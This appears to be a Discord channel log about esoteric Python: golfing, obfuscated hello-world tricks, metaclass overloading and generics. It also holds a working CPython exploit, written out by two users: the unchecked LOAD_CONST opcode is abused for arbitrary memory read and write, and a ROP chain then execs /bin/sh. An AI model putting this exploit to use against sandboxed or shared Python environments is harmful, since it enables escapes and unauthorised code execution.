#esoteric-python

1 messages · Page 97 of 1

rugged sparrow
#

this is what i have from the trace back rax: 0x000000000000003b rbx: 0x0068732f6e69622f rcx: 0x000000010087d01b rdx: 0x0000000000000000 rdi: 0x00007ffeef75ccf0 rsi: 0x00007ffeef75cce0 rbp: 0x00007ffeef75cd50 rsp: 0x00007ffeef75cce0 r8: 0x0000000000000000 r9: 0x0000000000000023 r10: 0x00007fd46c297ab8 r11: 0x0000000000000213 r12: 0x00007fd46a61f040 r13: 0x00007fd46a4095a0 r14: 0x00007fd46c3367e0 r15: 0x0000000000000000 rip: 0x000000010087d01b rfl: 0x0000000000010213 cr2: 0x000000000000003b

radiant anchor
#

hm

#

is that when running example.py?

rugged sparrow
#

na shellcode_example

radiant anchor
#

hm, well, it is linux shellcode

rugged sparrow
#

oh wait

#

im on macos

radiant anchor
#

can you run disas 0x000000010087d01b,+100

rugged sparrow
#

ofc it segfaults

radiant anchor
#

yeah lol

#

replace the shellcode with \xeb\xfe

#

that should infinite loop

rugged sparrow
#

ok

radiant anchor
#

(ctrlC to quit obvs)

rugged sparrow
#

yup it worked

#

and ctrlC didnt work to quit had to kill it manually lol

radiant anchor
#

oh

#

that's probably because python implements its own handler lol

#

fun

#

well, at least it worked

#

the last magic number is the tp_call offset

#

I guess there's not much to do about that

rugged sparrow
#

are you planning on adding 32bit support?

radiant anchor
#

probably not

#

maybe

rugged sparrow
#

it wouldnt be to bad tbh

#

just tuple_header//3 to get the base ptr size

radiant anchor
#

well then 3 is a magic number lol

#

but at least its constant

rugged sparrow
#

or sizeof((1,)) - sizeof(())

radiant anchor
#

smart

#

yeah I like that better

#

I'll consider implementing it at some point, I don't have a 32-bit vm around to test with lol

rugged sparrow
#

you can use ish on the appstore if you have an iphone

#

afaik its a 32bit shell

radiant anchor
#

Hm I just realised I can read the original value of tp_call

#

and get a pointer into the main elf binary

#

then I can work back to find the elf base

#

and parse the headers to find libc etc.

rugged sparrow
#

to get mmap?

radiant anchor
#

yeah

#

I'll need to do something clever to pass in controlled arguments though

#

perhaps I can find a ROP gadget to dereference rdi (which is self, and the refcount is at the start and controllable)

rugged sparrow
#

depending on what you want to do you could store them as bytes then get the address of those raw values

radiant anchor
#

Another hurdle is finding the address of the stack

#

I'll need that for ROP, I think

rugged sparrow
#

yea cause python uses the heap

#

afaik for all variables

#

that we control at least

radiant anchor
#

I wrote some code that leaks a stack pointer some percentage of the time, but it was very unreliable

#

basically, I dump some memory, and extract all the pointers from it

#

then I used a heuristic to classify the pointer type

#

based on the digits it starts with

#

and I do that recursively until I find a pointer that looks like a stack pointer

rugged sparrow
#

ah yea thats not stable at all

radiant anchor
#

the problem is, with ASLR, on linux there are some stack pointers that are indistinguishable from heap pointers

#

just from looking at them

rugged sparrow
#

im going to look at builtin classes and see if any of them use the stack where we can grab it

radiant anchor
#

that would be neat

#

I know there are some stack introspection functions

#

but idk if they would expose the actual rsp

rugged sparrow
#

nah those are python frames and python stack

radiant anchor
#

yeah ik = but maybe id on a stack frame object or something?

#

Since the python stack frames are on the actual C stack (iiuc?)

rugged sparrow
#

well you can get a reference to the frame stack from a python frame

#

one sec i have ctypes code to do that

#

but getting the current frame needs an import or ROP

radiant anchor
#

is it sys?

#

I think there's a way to "import" sys without any actual imports

#

by introspecting builtins recursively

rugged sparrow
#

there is but that feels like cheating

radiant anchor
#

true

rugged sparrow
#
frame_mem = (c_char*frame.__sizeof__()).from_address(id(frame))
frame_globals_addr = id(frame.f_globals).to_bytes(base_size, 'little')
stack_offset = frame_mem.raw.index(frame_globals_addr) + 2 * base_size
ptr = POINTER(handlenull).from_address(id(frame) + stack_offset)```
#

this gets a pointer to the top of the frames stack

#

but thats the python stack not the c stack

#

@radiant anchor you were talking about derefing a python variable earlier thats easy once you have the mem, you just set the first (4 or 8respective to 32 or 64bit ) byres to 0

radiant anchor
#

oh yeah, I meant in terms of like *ptr in c, not decref/freeing

rugged sparrow
#

ahh ok

radiant anchor
#

because getting a controlled value in $rdi will be useful for ROP etc.

#

if I could find a gadget for something like mov rsp, rdi, I'd have full rop

#

i.e. by pivoting the stack to a buffer I control

rugged sparrow
#

what kind of constuct in c do you think would result in asm like that

radiant anchor
#

I'm banking on misaligned instructions

#

the wonders of x86

#

e.g. if there was a mov rdi, 0xdeadbeef

#

where 0xdeadbeef is the instruction encoding of mov rsp, rdi

rugged sparrow
#

ahh ok

radiant anchor
#

e.g.

push rdi
pop rsp
ret

encodes to "\x57\x5c\xc3"

#

if that 3 byte sequence appears anywhere in the binary, I win

#

that probably doesn't, but there are plenty of theoretical alternatives

#

hm, the easiest gadgets to find are probably add/sub rsp 0xsomething; ret

#

which I can turn into ROP if I have controlled data on the stack

#

actually all of this is irrelevant if I can leak a stack address, I can just write the whole ROP buffer onto the stack

radiant anchor
#

I have ROP, although I "cheated" by hardcoding two gadget offsets, and finding libc base via /proc/self/maps

#

but that should be possible to automate

next flame
#

wait is this all based off a bof in load_const

radiant anchor
#

yes

#

it's pretty easy to exploit because of all the runtime introspection features

rugged sparrow
#

@radiant anchor im curious if there are any other oob issues with other opcodes

radiant anchor
#

me too, I haven't checked properly

rugged sparrow
#

im gonna go through some and look to see if they aren't typechecked

#

maybe make this easier if we didnt have to align the tuple and the bytes

#

or at least smaller

rugged sparrow
#

LOAD_FAST and STORE_FAST are both promising @radiant anchor

sick hound
#

hmmm why doesnt the error get raised

#

based on what wookie posted the other day

>>> class dic(dict):
    def __init__(self): self.data = {}
    def __setitem__(self, key, value):
        if key=='c':
            raise Exception('Tried to set c as atribute')
        self.data[key] = value
>>> class e:
    @classmethod
    def __prepare__(cls, *args, **kwargs): return dic()
    def __new__(cls, name, bases, md):
        md.data['__getattribute__'] = cls.__getattribute__
        return super().__new__(cls, name, bases, md.data)
    def __getattribute__(self, name):
        return object.__getattribute__(self, name)
>>> class a(metaclass=e):
    c=1
................................
Exception: Tried to set c as atribute
>>> class b:
    def __init_subclass__(cls,**_dict):
        for elm in _dict:
            setattr(cls,elm,_dict[elm])
>>> class a(b,c=1,metaclass=e):
    pass
>>> a.c
1
stark fable
#
        if (e == 0 and g != 0) or (e != 0 and g == 0) or (f != 0 and h == 0) or (f == 0 and h != 0) or (e != 0 and f != 0 and g != 0 and h != 0 and max(abs(a/e - c/g), abs(b/f - d/h)) > max(abs(a/e - b/f), abs(c/g - d/h))):```
sick hound
#

oh my

shy remnant
#

!e

_=()==()
__=(_+_)+(_+_)
___=(__*__)
____ = "%c"*(_+_+_+_+_)%(((_+_)*int(((___*__+(__+__))/(_+_)))),((_)*((___*__+(__+__)-(_+_+_)))),((_+_)*int(((___*__+(__+__)+(__))/(_+_)))),((_+_)*int(((___*__+(__+__)+(__))/(_+_)))),((_)*((___*__+(__+__)+(__+_+_+_)))))+" "+"%c"*(_+_+_+_+_)%(((_)*((___*__+(__+__)+(__+__+__+_+_+_)))),((_)*((___*__+(__+__)+(__)+(_+_+_)))),((_+_)*int(((___*__+(__+__)+(__)+(_+_+_)+(_+_+_))/(_+_)))),((_+_)*int(((___*__+(__+__)+(__))/(_+_)))),((_+_)*int(((___*__+(__+__)-(__))/(_+_)))))
print(____)
night quarryBOT
#

@shy remnant :white_check_mark: Your eval job has completed with return code 0.

HELLO WORLD
shy remnant
#

HOW DOES THIS WORK

proper vault
#

!e print("%c"%65)

night quarryBOT
#

@proper vault :white_check_mark: Your eval job has completed with return code 0.

A
proper vault
#

it it multiplies the %c and interpolates it with ints built up from _ = 1

shy remnant
#

ohhh

stable swift
#

Hello,
I'm very new to golfing

exec(bytes("浩潰瑲爠੥㵦慬扭慤砠攺慶⡬敲献扵✨尨⭤⸩尨⭤⸩⸨⠩⬮尩㽮Ⱗ❲⠫ㅜ㴼尢∴挮畯瑮∨㍜⤢㴼㉜✩砬⤩",'U16')[2:])```
this seems to be compressed code, that thens decompresses on execution
that way, this guy (and other) are winning bytes of weight, and get better codegolf score
and I wonder what is this technique called, to learn more about this
Does anyone knows ?
grave rover
#

oh that's an interesting one

#

what he did was take his code, convert it to the minimum required bytecode, and executes that

#
>>> data = bytes("浩潰瑲爠੥㵦慬扭慤砠攺慶⡬敲献扵✨尨⭤⸩尨⭤⸩⸨⠩⬮尩㽮Ⱗ❲⠫ㅜ㴼尢∴挮畯瑮∨㍜⤢㴼㉜✩砬⤩",'U16')[2:]
>>> import ast
>>> parsed = ast.parse(data)
>>> print(ast.dump(parsed, indent=2))
Module(
  body=[
    Import(
      names=[
        alias(name='re')]),
    Assign(
      targets=[
        Name(id='f', ctx=Store())],
      value=Lambda(
        args=arguments(
          posonlyargs=[],
          args=[
            arg(arg='x')],
          kwonlyargs=[],
          kw_defaults=[],
          defaults=[]),
        body=Call(
          func=Name(id='eval', ctx=Load()),
          args=[
            Call(
              func=Attribute(
                value=Name(id='re', ctx=Load()),
                attr='sub',
                ctx=Load()),
              args=[
                Constant(value='(\\d+).(\\d+).(.)(.+)\n?'),
                Constant(value='+(\\1<="\\4".count("\\3")<=\\2)'),
                Name(id='x', ctx=Load())],
              keywords=[])],
          keywords=[])))],
  type_ignores=[])
#

anyways I've got something interesting for y'all today 👀

def main():
    @generic("A", "B")
    class Pair:
        x: "A"
        y: "B"

        def __init__(self, x, y):
            self.x = x
            self.y = y

        def __iter__(self):
            return iter([self.x, self.y])

    p1 = Pair[int, int](10, 5)
    p2 = Pair[int, str](100, "abc")

    try:
        # ERROR -> defined as y: str but setting y to int
        p3 = Pair[int, str](100, 5)
    except AssertionError as exc:
        print("Error:")
        print(exc)

    print(p1.__annotations__)
    print(list(p1))

    print(p2.__annotations__)
    print(list(p2))
#

output: py Unable to set property 'y' of type 'str' to value of type 'int' {'x': <class 'int'>, 'y': <class 'int'>} [10, 5] {'x': <class 'int'>, 'y': <class 'str'>} [100, 'abc']

rugged sparrow
#

interesting

grave rover
#
@generic("A", "B")
    class Pair:
        x: "A"
        y: "B"

        def __init__(self, x, y):
            self.x = x
            self.y = y

        def __iter__(self):
            return iter([self.x, self.y])

        def test(self, val: "B") -> "A":
            return self.x

    p1 = Pair[int, int](10, 5)
    p2 = Pair[int, str](100, "abc")

    try:
        p1.test("a")
    except AssertionError as exc:
        # ERROR -> Expects `val` to be int, gets str
        print("Error:")
        print(exc)```added signature checking
#

Output: py Error: Parameter 'val' was of type 'str', expected 'int'

#

only issue right now is that it uses isinstance checks which errors on typing classes

#

TypeError: Subscripted generics cannot be used with class and instance checks

#

is there a module that allows you to monkey-patch this?

rugged sparrow
#

you could get the base class and do isinstance on that?

grave rover
#

ehh

#

probably not

#

and it looks like pytypes doesn't like Any

vestal solstice
#

it's rather expanded

#

each 3/4 byte utf-8 letter contains 2 characters, so 1.5 or 2 bytes per character, instead of 1

formal sandal
#

well, if the golfing was by bytes instead of by characters, that wouldn't win anything

vestal solstice
#

it saves characters visually, that's the only point, when it matters to the scoring

#

I did that many times but always used .encode() so now I know how it's supposed to be done thanks

grave rover
#

AssertionError: Unable to set property 'y' of type 'Pair[int, str]' to value of type 'Pair[int, int]' making very primitive progress

steep mural
#

!e

class _List(list):
    pass

class MultiDict(dict):
    def __setitem__(self, name, value):
        try:
            found = self[name]
        except KeyError:
            return super().__setitem__(name, value)
        if isinstance(found, _List):
            return found.append(value)
        super().__setitem__(name, _List([found, value]))

class overload_wrapper:
    def __init__(self, instance, overloaded):
        self.instance = instance
        self.overloaded = overloaded 

    def __call__(self, *args):
        meth = None
        for func in self.overloaded:
            func = func.__get__(self.instance, self.instance.__class__)
            if all(isinstance(arg, annotation) for arg, annotation in zip(args, func.__annotations__.values())):
                meth = func
        if meth is None:
            raise TypeError
        return meth(*args)

class overloadable(type):
    def __new__(cls, name, bases, dict_):
        def __getattribute__(self, name):
            attr = object.__getattribute__(self, name)
            if isinstance(attr, _List):
                return overload_wrapper(self, attr)
            return attr
        dict_['__getattribute__'] = __getattribute__
        return super().__new__(cls, name, bases, dict_)

    @classmethod
    def __prepare__(cls, *args):
        return MultiDict()

class Overload(metaclass=overloadable):
    @classmethod
    def hi(cls, number: int):
        print('Hello im hi 1')

    @staticmethod
    def hi(dictionary: dict):
        print('Hello im hi 2')

    def hi(self, string: str):
        print('Hello im hi 3')

x = Overload()
x.hi(57)
x.hi({4234243: 5304950394})
x.hi('saer')
night quarryBOT
#

@steep mural :white_check_mark: Your eval job has completed with return code 0.

001 | Hello im hi 1
002 | Hello im hi 2
003 | Hello im hi 3
rugged sparrow
#

!e ```py
def sizeof(obj):
return type(obj).sizeof(obj)

TUPLE_HEADER = sizeof(())
BYTES_HEADER = sizeof(b'') - 1
PTR_SIZE = sizeof((0,)) - TUPLE_HEADER
INT64_MAX = (1 << 63) - 1
INT32_MAX = (1 << 31) - 1

MAX_SIZE = INT64_MAX if PTR_SIZE == 8 else INT32_MAX

def get_offset(tpl, byts):
offset = id(byts) + BYTES_HEADER
offset -= id(tpl) + TUPLE_HEADER
return offset // PTR_SIZE

def heapgroom(addr):
raw = addr.to_bytes(PTR_SIZE, 'little')
a_t = [0]*64
a_b = [0]*64
for size in range(64):
r, p = [0]*size, b'A' * (size * PTR_SIZE - len(raw))
tpl = a_t[size] = tuple(r)
byt = a_b[size] = raw + p
off = get_offset(tpl, byt)
if len(tpl) <= off < 256:
return tpl, byt, off

def obj(addr):
tpl, byts, offset = heapgroom(addr)
magic = lambda:None
code = bytearray(magic.code.co_code)
code[1] = offset
magic.code = magic.code.replace(co_code=bytes(code), co_consts=tpl)
return magic()

def struct(*fields):
def pack(*args):
out = b''
for item, size in zip(args, fields):
out += item.to_bytes(size, 'little')
return out + b'\x00' * (sum(fields) - len(out))
return pack

mem_obj = struct(*[PTR_SIZE]*7)

def getmem(start=0, size=MAX_SIZE, cache={}):
fakemem = cache.get((start, size)) or mem_obj(
1,
id(bytearray),
size,
0, start, start, 0
)
cache[(start, size)] = fakemem
return obj(id(fakemem) + BYTES_HEADER)

x = (0,)
x_idx1 = getmem(id(x)+ 3 * PTR_SIZE, PTR_SIZE)
x_idx1[:] = id(x).to_bytes(PTR_SIZE, 'little')
print(x)```

night quarryBOT
#

@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.

((...),)
rugged sparrow
#

@radiant anchor ^ i optimized a python3 version

#

i didnt bother to make the heapgroom place the bytes directly after the tuple because as long as the offset is less then 256 itll work anyways

radiant anchor
#

Nice

#

Are you sure it'll /always/ work though? What if the heap is fragmented?

rugged sparrow
#

i tested it by running ```py
x = []
while True:
v = heapgroom(0xdeadbeef)
if v is None:
break
x.append(v)

#

and it only ended cause i hit ctrl C not cause of a failure

#

afaik it should work pretty consistently @radiant anchor

sick hound
rugged sparrow
#

@sick hound that code basically abuses an optimization in the LOAD_CONST operator in python bytecode. There isnt any bounds checking, so if you can set it up so that a valid object is past the edge of function.__code__.co_consts at a known offset, you can load that object instead. This lets us build any valid python object manually, with our own custom values. for example, getmem builds a bytearray that is pointed at a custom address, letting modify the memory there ourselves. Doing stuff like that isnt anything special using ctypes, the cool thing here is that its being done with no imports (and thus only pure python)

sick hound
#

modified wookies post a bit

#

#bot-commands message

sick hound
#

Damn, thanks

austere flint
#

A series of the .replace(...) function in a loop is turing complete.
Proof:
The following series of 20 replace(...)'s implements Wolfram’s 2, 3 turing machine on an infinite tape* which has been shown to be turing complete:

input = " 0[0A]0 "
for i in range(1000000):
    print(input)
    input = input\
        .replace("[0A]0", "1[0B]").replace("[0A]1", "1[1B]").replace("[0A]2", "1[2B]")\
        .replace("0[0B]", "[0A]2").replace("1[0B]", "[1A]2").replace("2[0B]", "[2A]2")\
        .replace("0[1A]", "[0A]2").replace("1[1A]", "[1A]2").replace("2[1A]", "[2A]2")\
        .replace("[1B]0", "2[0B]").replace("[1B]1", "2[1B]").replace("[1B]2", "2[2B]")\
        .replace("0[2A]", "[0A]1").replace("1[2A]", "[1A]1").replace("2[2A]", "[2A]1")\
        .replace("[2B]0", "0[0A]").replace("[2B]1", "0[1A]").replace("[2B]2", "0[2A]")\
        .replace(" [", " 0[").replace("] ", "]0 ")

Sample output:

 0[0A]0 
 0[0A]22 
 010[2A]0 
 01[0A]10 
 0112[0B]0 
 01[1A]120 
 0[1A]2120 
 0[0A]22120 
 010[2A]120 
 01[0A]1120 
 011220[0A]0 
 01122[0A]22 
 0112210[2A]0 
 011221[0A]10 
 01122112[0B]0 
 011221[1A]120 
 011[2A]122120 
 01[1A]1122120 
 0[1A]21122120 
 0[0A]221122120 
 010[2A]1122120 
 01[0A]11122120 
 0112[1B]122120 
 0112220[2A]120 
 011222[0A]1120 
 0112221220[0A]0 
 011222122[0A]22 
 01122212210[2A]0 
 0112221221[0A]10 
 011222122112[0B]0 
 0112221221[1A]120 
 0112221[2A]122120 
 011222[1A]1122120 
 0112[2A]121122120 
 011[2A]1121122120 
 01[1A]11121122120 
 0[1A]211121122120 
 0[0A]2211121122120 
 010[2A]11121122120 
 01[0A]111121122120 
 0112[1B]1121122120 
 01122[1B]121122120 
 01122220[1A]122120 
 0112222[0A]2122120 
 011222210[1A]22120 
 01122221[0A]222120 
 0112222110[2A]2120 
 011222211[0A]12120 
 011222211120[1A]20 
 01122221112[0A]220 

*Assuming you have infinite memory. Who doesn't?

earnest wing
#

Heck yeah, and that's why most string rewriting esolangs are TC

undone cliff
radiant anchor
#

I wouldn't call those esoteric or rare lol, I've hardly seen a python program without them

#

but, definitely worth knowing

grave rover
#
@generic("T")
class List(list, Iterable["T"]):  # Errors, because Iterable["T"] is also an @generic class, and expects a type or type of tuples
    ...

    def copy() -> List["T"]  # Same here (assuming `from __future__ import annotations`)
       ...
grave rover
calm moat
#

Is a list comprehension of this possible??

for ...
  if ...:
    pass
  if ...:
    pass
sick hound
#

i need help please, i created web scraper that goes throught site and looks or title, price and date and if the title contains a word from my filter list it should add title, price and date to my dictionary. It works, filters them right but it adds it 6 times dont know why
https://paste.pythondiscord.com/gisejaqujo.lua

OUTPUT -
{'name': 'ELEKTRONY SKODA OCTAVIA SCOUT DISKY “PROTEUS” R17', 'price': ' 379 €', 'date': ' - TOP - [7.12. 2020]'}
{'name': 'ELEKTRONY SKODA OCTAVIA SCOUT DISKY “PROTEUS” R17', 'price': ' 379 €', 'date': ' - TOP - [7.12. 2020]'}
{'name': 'ELEKTRONY SKODA OCTAVIA SCOUT DISKY “PROTEUS” R17', 'price': ' 379 €', 'date': ' - TOP - [7.12. 2020]'}
{'name': 'ELEKTRONY SKODA OCTAVIA SCOUT DISKY “PROTEUS” R17', 'price': ' 379 €', 'date': ' - TOP - [7.12. 2020]'}
{'name': 'ELEKTRONY SKODA OCTAVIA SCOUT DISKY “PROTEUS” R17', 'price': ' 379 €', 'date': ' - TOP - [7.12. 2020]'}
{'name': 'ELEKTRONY SKODA OCTAVIA SCOUT DISKY “PROTEUS” R17', 'price': ' 379 €', 'date': ' - TOP - [7.12. 2020]'}

#

changed it to for filter_l in filter_list: if filter_l in name: #slovnik = {'name': name, 'price': price, 'date': date} slovnik['name'] = name slovnik['price'] = price slovnik['date'] = date else: continue

#

still doesnt work

#

dont understand

grave rover
#

@calm moat assuming py for a in b if c: continue # Next item if d: continue # Next item ... # Do thing -> py [... for a in b if not (c or d)]

grave rover
#

oh right anothe rissue with my impl:
AssertionError: Parameter '_List__object' was of type 'Pair[int, int]', expected 'Pair[int, int]'

#

every time you make an instance of a generic class it becomes its own type, I need to cache them somehow...

ashen bolt
sick hound
#

@ashen bolt Hey, this isn't a good channel for this, you'd be better off at #databases

#

Golfing, Python VM languages, obfuscation, code gore and other general Python weirdness

(lambda: "esoteric python")()

steep mural
#

Receive help here and your code will be cursed

fossil estuary
#

ok cool

grave rover
#

I see you did the same strat more or less

fossil estuary
#

!e

_=()==()
__=(_+_)+(_+_)
___=((_+_)+(_+_)+(_+_)+(_+_)*(_+_)+(_+_)+(_+_)+(_+_))
____="%c"*(_+_+_+_+_)%(((_+_)*((___*__+(__+__))//(_+_))),((_)*((___*__+(__+__)-(_+_+_)))),((_+_)*((___*__+(__+__)+(__))//(_+_))),((_+_)*((___*__+(__+__)+(__))//(_+_))),((_)*((___*__+(__+__)+(__+_+_+_)))))+" "+"%c"*(_+_+_+_+_)%(((_)*((___*__+(__+__)+(__+__+__+_+_+_)))),((_)*((___*__+(__+__)+(__)+(_+_+_)))),((_+_)*((___*__+(__+__)+(__)+(_+_+_)+(_+_+_))//(_+_))),((_+_)*((___*__+(__+__)+(__))//(_+_))),((_+_)*((___*__+(__+__)-(__))//(_+_))))
____=list(map(lambda x:x.lower(), ____))
print(____)
night quarryBOT
#

@fossil estuary :white_check_mark: Your eval job has completed with return code 0.

['h', 'e', 'l', 'l', 'o', ' ', 'w', 'o', 'r', 'l', 'd']
fossil estuary
#

what did i expect from list()

#

it was gonna make it a list lol

grave rover
#

you could also use [*...] instead of list(...)

fossil estuary
#

ty

#

trying to make it as unreadable as possible

#

basically at that point already, but still gonna go more

grave rover
#

oh yeah I did that once already

#

!e py _=((()==())+(()==())) __=(((_<<_)<<_)*_) __import__(('c%'[::(([]!=[])-(()==()))])*((_<<_)+(()==()))%((__+(((_<<_)*_)+((_<<_)+((_*_)+(_+(()==())))))),(__+(((_<<_)*_)+((_<<_)+((_*_)+(_+(()==())))))),(__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+((_*_)+(()==())))),(__+(((_<<_)<<_)+((_<<_)+(_*_)))),(__+(((_<<_)<<_)+((_<<_)+(_*_)))),(__+(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()==())))))),(__+(((_<<_)*_)+((_<<_)+((_*_)+(_+(()==())))))),(__+(((_<<_)*_)+((_<<_)+((_*_)+(_+(()==()))))))))

night quarryBOT
#

@grave rover :white_check_mark: Your eval job has completed with return code 0.

Hello world!
fossil estuary
#

i think i fucked up.

grave rover
#

!e py a=lambda b:b<(()==())<<(()<=())and[]>=[]or a(b-(()==()))+a(b-(([]>=[])<<([]==[]))) print([*map(a, range(20))])

night quarryBOT
#

@grave rover :white_check_mark: Your eval job has completed with return code 0.

[True, True, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181, 6765]
grave rover
#

fib with the same obf

fossil estuary
#

i never thought i would see the day that python is taking longer than a few milliseconds to do a print statement.

#

taking over a minute now o.o

twilit grotto
#

you probably did something bad

fossil estuary
#

I probably did

#

O.O

#

how is it taking 60% CPU wtf

#

i fucked up 😅

grave rover
#

sounds like an infinite loop

fossil estuary
#

It's not even a loop tho

#

Could be, Not sure what to think of it

#

Shouldn't try to iterate through a 4700byte sequence.

twilit grotto
#

4700 isn't even that long

steep mural
#

That's not that much

twilit grotto
#

what are you doing

fossil estuary
#

It's going through decoding and stuff, Idk why it's taking so long

#

Okay, Had to forcekill that process

steep mural
#

I still don't know what you're talking about lol

fossil estuary
#

To some degree, Neither do I.

steep mural
#

Ok

grave rover
#

ugh I need to keep working on these generics but it's such a pain

fossil estuary
#

I bet it is.

#

Gonna work on a new program, I might be a while

radiant anchor
#
import unsafe
gadgets = unsafe.find_gadgets()
binsh = unsafe.refbytes(b"/bin/sh\0")
argv = unsafe.refbytes(bytes(bytearray(unsafe.p64a(binsh, 0))))
rop_payload = unsafe.p64a(
    gadgets["pop rax; ret"],
    59,  # SYS_EXECVE
    gadgets["pop rdi; ret"],
    binsh,  # filename
    gadgets["pop rsi; ret"],
    argv,  # argv
    gadgets["pop rdx; pop rbx; ret"],
    0,  # envp
    0,  #junk
    gadgets["syscall; ret"]
)

unsafe.do_rop(rop_payload)
#

[evil laughter]

rugged sparrow
#

noice

fossil estuary
#

tbh

#

expected that

#

old code

#

!e

import sys;f=sys.stdout;
x='import sys;f=sys.stdout;x=%s;f.write(x%%`x`)';f.write(x%`x`)
night quarryBOT
#

@fossil estuary :x: Your eval job has completed with return code 1.

001 |   File "<string>", line 2
002 |     x='import sys;f=sys.stdout;x=%s;f.write(x%%`x`)';f.write(x%`x`)
003 |                                                                ^
004 | SyntaxError: invalid syntax
fossil estuary
#

mk

#

ill stick to my stuff now

#

poof

rugged sparrow
#

@radiant anchor could you move backwards from a static address (ie: tp_call) to get to libc?

radiant anchor
#

Yeah, just gotta find one that actually points to libc

#

One way that would be very reliable, is finding /usr/lib/python base address and parsing out the elf headers etc. to get to libc

#

but that's a lot of effort to implement

#

although, reliably finding the .text segment of libc will require some amount of elf parsing

grave rover
#

god I can't wrap my head around this type management

#

x: Type1[Type2[T]] won't remap T for some reason and I'm trying to figure out why

sick hound
#

!e

_=((()==())+(()==()))
__=(((_<<_)<<_)*_)
__import__(('c%'[::(([]!=[])-(()==()))])*((_<<_)+(()==()))%((__+(((_<<_)*_)+((_<<_)+((_*_)+(_+(()==())))))),(__+(((_<<_)*_)+((_<<_)+((_*_)+(_+(()==())))))),(__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+((_*_)+(()==())))),(__+(((_<<_)<<_)+((_<<_)+(_*_)))),(__+(((_<<_)<<_)+((_<<_)+(_*_)))),(__+(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()==())))))),(__+(((_<<_)*_)+((_<<_)+((_*_)+(_+(()==())))))),(__+(((_<<_)*_)+((_<<_)+((_*_)+(_+(()==()))))))))```
night quarryBOT
#

@sick hound :white_check_mark: Your eval job has completed with return code 0.

Hello world!
radiant anchor
#

TIL import __hello__ is a thing

fervent hull
#

TIL __hello__ is a frozen module

sick hound
sick hound
sick hound
#

@sick hound If you ord every char in __hello__, you'll get integers

#

And you can make an integer with this neat trick:

#

() == () is True, which is 1

#

(()==())+1 will give you two

#

!e print((()==())+1)

night quarryBOT
#

@sick hound :white_check_mark: Your eval job has completed with return code 0.

2
sick hound
#

OP used bitshifts and other stuff to make it more complicated, but I assume the general principle was the one mentioned above

floral meteor
#

T,F=....__eq__(...),....__ne__(...)

sick hound
#

!e

_ = (() == ()) + (() == ())
__ = (((_ << _) << _) * _)

print(f"{_=}\n{__=}")
night quarryBOT
#

@sick hound :white_check_mark: Your eval job has completed with return code 0.

001 | _=2
002 | __=64
sick hound
floral meteor
#

to get '0':

....__ne__(...).__int__().__str__()
sick hound
#

You could abuse globals() and __setitem__ to make it even more complicated

floral meteor
#

to get 'F'

....__ne__(...).__str__()[()!=()]
sick hound
#

wtf

#

Oh

#

I see

#

Clever

floral meteor
#

now for a little harder thonk, getting N...

sick hound
#

isinstance

floral meteor
#
....__eq__(()).__str__()[...!=...]
sick hound
#

??

#

How do you get N from False

floral meteor
#

I'll just check that in 3.9, just a sec

#

wait...

#

!e print(....eq(()))

sick hound
#

Oh?

#

Wtf

floral meteor
#

lol

night quarryBOT
#

@floral meteor :white_check_mark: Your eval job has completed with return code 0.

NotImplemented
floral meteor
#

there

sick hound
#

Ah

#

I see

floral meteor
#

N

#

now, to get None...

sick hound
#

Did you reverse en in NotImplemented?

floral meteor
#

bruh

night quarryBOT
#

@floral meteor :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 3, in <module>
003 |   File "<string>", line 1, in <module>
004 | NameError: name 'Non' is not defined
sick hound
#

but i do not see a chr in the code

floral meteor
#

!e```m
=....eq(()).str()
=(((()==())<<(()==()))<<(()==())).neg()
=eval([:(()==())+(...==...)]+[
-(()==()):
_+(()==())]+
[(()!=())-((()!=())->>(()==()))])
print(
_)

#

oof

rugged sparrow
#

it uses a format string @sick hound

floral meteor
#

i think the bot dedded

sick hound
#

i think you used the wrong syntax highlighting

#

!e ```py
=....eq(()).str()
=(((()==())<<(()==()))<<(()==())).neg()
=eval([:(()==())+(...==...)]+[
-(()==()):
_+(()==())]+
[(()!=())-((()!=())->>(()==()))])
print(
_)

night quarryBOT
#

@sick hound :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 3, in <module>
003 |   File "<string>", line 1, in <module>
004 | NameError: name 'Noene' is not defined
floral meteor
#

bruh

sick hound
#

Your scrape range isn't right

#

Hm

#

I personally find it easier to first do a rough sketch of what I'll be writing

#

For stuff like this

floral meteor
#

ah, I see

sick hound
#

^ Just reverse that

floral meteor
#

!e ```py
=....eq(()).str()
=(((()==())<<(()==()))<<(()==())).neg()
=eval([:(()==())+(...==...)]+[
-(()==()):
_+(()==())][(()==())]+
[(()!=())-((()!=())->>(()==()))][:(()==())])
print(
_)

night quarryBOT
#

@floral meteor :white_check_mark: Your eval job has completed with return code 0.

None
sick hound
#

WTF

#

How did you come up with the -1 so fast

floral meteor
#

wdym?

sick hound
#

Did you not reverse it?

floral meteor
#

neh

earnest wing
#

Challenge:
Get various objects from attributes of ..., without using .__doc__

sick hound
#

??

#

Hm

floral meteor
#

easy

#

!e ```py
=....ge(...).str()
=((....eq(...)<<....eq(...))<<....eq(...)).neg()
=eval([:(....eq(...)).add(....eq(...))]+[
-(....eq(...)):
_+(....eq(...))][....eq(...)]+
[....ne(...)-(....ne(...)->>....eq(...))][:....eq(...)])
print(
_)

night quarryBOT
#

@floral meteor :white_check_mark: Your eval job has completed with return code 0.

None
floral meteor
#

gottim

#

@earnest wing I got a NoneType object from Ellipsis

sick hound
#

@floral meteor Could you give a summary of what you did

floral meteor
#
>>> (....__hash__()>>57).__neg__()
64

Alright, I'll think of a summary

#

so...

>>> _=....__ge__(...).__str__()
_ = "NotImplemented"
>>> __=((....__eq__(...)<<....__eq__(...))<<....__eq__(...)).__neg__()
__ = -(1<<1<<1) # -4
>>> ___=eval(_[:(....__eq__(...)).__add__(....__eq__(...))]+_[__-(....__eq__(...)):__+(....__eq__(...))][....__eq__(...)]+_[....__ne__(...)-(....__ne__(...)-__>>....__eq__(...))][:....__eq__(...)])

___ = eval(
    _[:1+1] + _[__-1:__+1][1] + _[-((-__)>>1)][:1]
) # _[:2] + _[-5:-3][1] + _[-2][:1]
>>> print(___)
None
sick hound
#

Damn thanks

#

